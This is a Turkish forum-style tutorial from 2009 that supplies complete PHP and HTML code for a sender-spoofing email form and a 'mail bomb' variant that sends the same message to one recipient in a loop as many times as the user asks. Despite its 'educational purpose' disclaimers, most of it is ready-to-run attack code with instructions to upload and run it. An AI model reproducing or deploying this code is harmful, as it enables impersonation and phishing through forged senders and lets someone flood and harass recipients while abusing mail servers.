Öncelikle belirtmek isterim ki bu ders eğitim amaçlıdır ve sahte e-mailler (fake mail) ile mail bomb uygulamalarının nasıl yapıldığını mantığıyla gösterme amacı taşımaktadır. Dersimize sahte e-mail uygulaması ile başlayalım.
Sahte E-Mail:
Sahte e-mail, asıl kaynağından gönderilmeyen her tür postaya denir. Örneğin bir e-mail hesabı sizin dahi olsa bu hesap adına hesabın sahip olduğu domain üzerinden mailinizi göndermedikten sonra bu mail sahte maildir. Bu mail formunu nasıl yapabiliriz? Formmail uygulamasına çok benziyor. Zaten ikisi de paralel mantıkta. Değiştirmemiz gereken tek yer gönderici kısmıdır; yani bu alana biz müdahale edebileceğiz. Şimdi neler yapacağız? Öncelikle şunları tanımlayalım:
- Gönderenin mail adresi
- Alıcı mail adresi
- Konu
- Mesaj
mailin daha profesyonelce gözükmesini istiyorsak “İsim” ve “Soyisim” değişkenini de oluşturmamız gerekece. O halde kodlamaya başlayalım:
Kod:
<?php
//Yazar: ELiTeHaCKeR
//Eğitim amaçlı yazı
$isimsoyisim=$_REQUEST['isimsoyisim'];
$gonderen=$_REQUEST['gonderen'];
$alici=$_REQUEST['alici'];
$konu=$_REQUEST['konu'];
$mesaj=$_REQUEST['mesaj'];
//Form alanlarımızı oluşturan değişkenlerimizi tanımladık. Şimdi işlem yapalım.
mail("$alici", $konu, $mesaj, "From: $isimsoyisim <$gonderen>");
//mail fonksiyonumuzu da kullanarak işlemi bitirdik. Şimdi Form alanlarımızı HTML olarak oluşturacağız
?>
Kod:
<html>
<head><title>Hill Sahte E-mail Uygulaması</title>
</head>
<form action="smail.php" method="post">
<table>
<tr><td>İsim Soyisim:</td><td><input type="text" name="isimsoyisim"></td></tr>
<tr><td>Gönderen:</td><td><input type="text" name="gonderen"></td></tr>
<tr><td>Alıcı:</td><td><input type="text" name="alici"></td></tr>
<tr><td>Konu:</td><td><input type="text" name="konu"></td></tr>
<tr><td>Mesaj:</td><td><textarea rows="5" cols="30">Mesajınız</textarea></td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="submit" value="Gönder"></td></tr></table>
</form>
<br><br>
<center>
Coded By ELiTeHaCKeR
<br><br>
Tamamen eğitim amaçlı olup sahte e-maillerin mantığını göstermektedir.</center>
</html>
Sahte e-mail kodlamamız bitti. Bu kodları “smail.php” olarak kaydedip, PHP çalıştırabilen bir hosta upload edin. Gördüğünüz gibi formmail uygulamasından farklı yaptığımız tek iş gönderen kısmı ile ilgili bir form alanı uyguladık ve müdahale ettik.
Sıra geldi Mail Bomb Uygulama mantığına:
Yukarıdaki kodlamaya ek olarak sadece bir döngü ifadesi yerleştireceğiz. Diğer kısımlara dokunmamıza gerek yok. Kodlamaya başlayalım:
Kod:
<html>
<head><title>Sahte E-mail Uygulaması ve Mail Bomb</title>
</head>
<form action="smail.php" method="post">
<table>
<tr><td>İsim Soyisim:</td><td><input type="text" name="isimsoyisim"></td></tr>
<tr><td>Gönderen:</td><td><input type="text" name="gonderen"></td></tr>
<tr><td>Alıcı:</td><td><input type="text" name="alici"></td></tr>
<tr><td>Konu:</td><td><input type="text" name="konu"></td></tr>
<tr><td>Adet:</td><td><input type="text" name="number" ></td></tr>
<tr><td>Mesaj:</td><td><textarea rows="5" cols="30">Mesajınız</textarea></td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="submit" value="Gönder"></td></tr></table>
</form>
<br><br>
<center>
Coded By ELiTeHaCKeR
<br><br>
Tamamen eğitim amaçlı olup sahte e-maillerin ve mail bomb uygulamalarının mantığını göstermektedir.</center>
</html>
Kod:
<?php
//Yazar: ELiTeHaCKeR
//Eğitim amaçlı yazı
$isimsoyisim=$_REQUEST['isimsoyisim'];
$gonderen=$_REQUEST['gonderen'];
$alici=$_REQUEST['alici'];
$konu=$_REQUEST['konu'];
$number=$_REQUEST['number'];
$mesaj=$_REQUEST['mesaj'];
//Form alanlarımızı oluşturan değişkenlerimizi tanımladık. Şimdi işlem yapalım.
//İşlemi yaparken while() döngüsünü kullanacağız. Bu ne demek? While belirttiğimiz bir limite kadar aynı kodu tekrar tekrar çalıştıracak.
$x=0; //Buradaki x belli şartla için oluşturduğumuz, mail sayısı ile ilişki bir değişken
while($x <= $number)
{
mail("$alici", $konu, $mesaj, "From: $isimsoyisim <$gonderen>");
$x++; //Buradaki işlem mail fonksiyonunun kullanımının ardından x değişkeni bir artacak ve number değişkenine eşit olana kadar işleme devam
}
exit;
//PHP kodlamamamız bitti.
?>
Buradaki amacımız bu uygulamaların mantığını göstermektir. Kodları bir notepad’e yerleştirip php olarak kaydederek çalıştırabilirsiniz. Ayrıca uygulama geliştirilebilir olup daha karmaşık kodlamalar yaparak kendinize göre ayarlayabilirsiniz.
Takvim
Konu: E-MAİL BOMBA MANTIĞI 
C.tesi Ağus. 01 2009, 22:00